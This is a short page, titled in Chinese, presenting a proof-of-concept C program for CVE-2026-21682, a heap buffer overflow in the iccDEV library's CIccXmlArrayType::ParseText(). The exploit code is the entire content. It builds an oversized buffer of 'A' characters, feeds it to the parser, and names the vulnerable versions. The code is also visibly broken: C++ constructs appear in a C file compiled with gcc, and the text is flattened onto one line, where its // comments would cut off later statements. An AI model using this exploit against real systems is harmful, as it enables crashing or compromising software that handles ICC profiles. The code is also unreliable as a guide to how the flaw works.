CVE-2026-21682: iccDEV库CIccXmlArrayType::ParseText()堆缓冲区溢出漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <icc.h> /* * CVE-2026-21682 PoC - Heap Buffer Overflow in CIccXmlArrayType::ParseText() * * This PoC demonstrates the heap buffer overflow vulnerability in iccDEV library * versions prior to 2.3.1.2 when processing malicious ICC profile files. * * Usage: Compile and run with a vulnerable version of iccDEV library * gcc -o poc_cve_2026_21682 poc_cve_2026_21682.c -licc */ #define MALICIOUS_DATA_SIZE 10000 // Data exceeding buffer size int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <malicious_icc_profile.xml>\n", argv[0]); return 1; } const char* malicious_file = argv[1]; printf("[*] CVE-2026-21682 PoC - Heap Buffer Overflow\n"); printf("[*] Target: iccDEV < 2.3.1.2\n"); printf("[*] Function: CIccXmlArrayType::ParseText()\n"); // Load and parse the malicious ICC profile CIccProfile* profile = CIccProfile::Load(malicious_file); if (profile == NULL) { printf("[-] Failed to load profile\n"); return 1; } printf("[+] Profile loaded successfully\n"); // The vulnerability is triggered during XML parsing CIccXmlArrayType* arrayType = new CIccXmlArrayType(); // Create malicious XML content with oversized text data char* malicious_xml = malloc(MALICIOUS_DATA_SIZE + 100); memset(malicious_xml, 'A', MALICIOUS_DATA_SIZE); malicious_xml[MALICIOUS_DATA_SIZE] = '\0'; printf("[*] Attempting to parse malicious XML array data...\n"); // This call triggers the heap buffer overflow bool result = arrayType->ParseText(malicious_xml); if (result) { printf("[!] Parsing completed - possible overflow detected\n"); } free(malicious_xml); delete arrayType; delete profile; return 0; }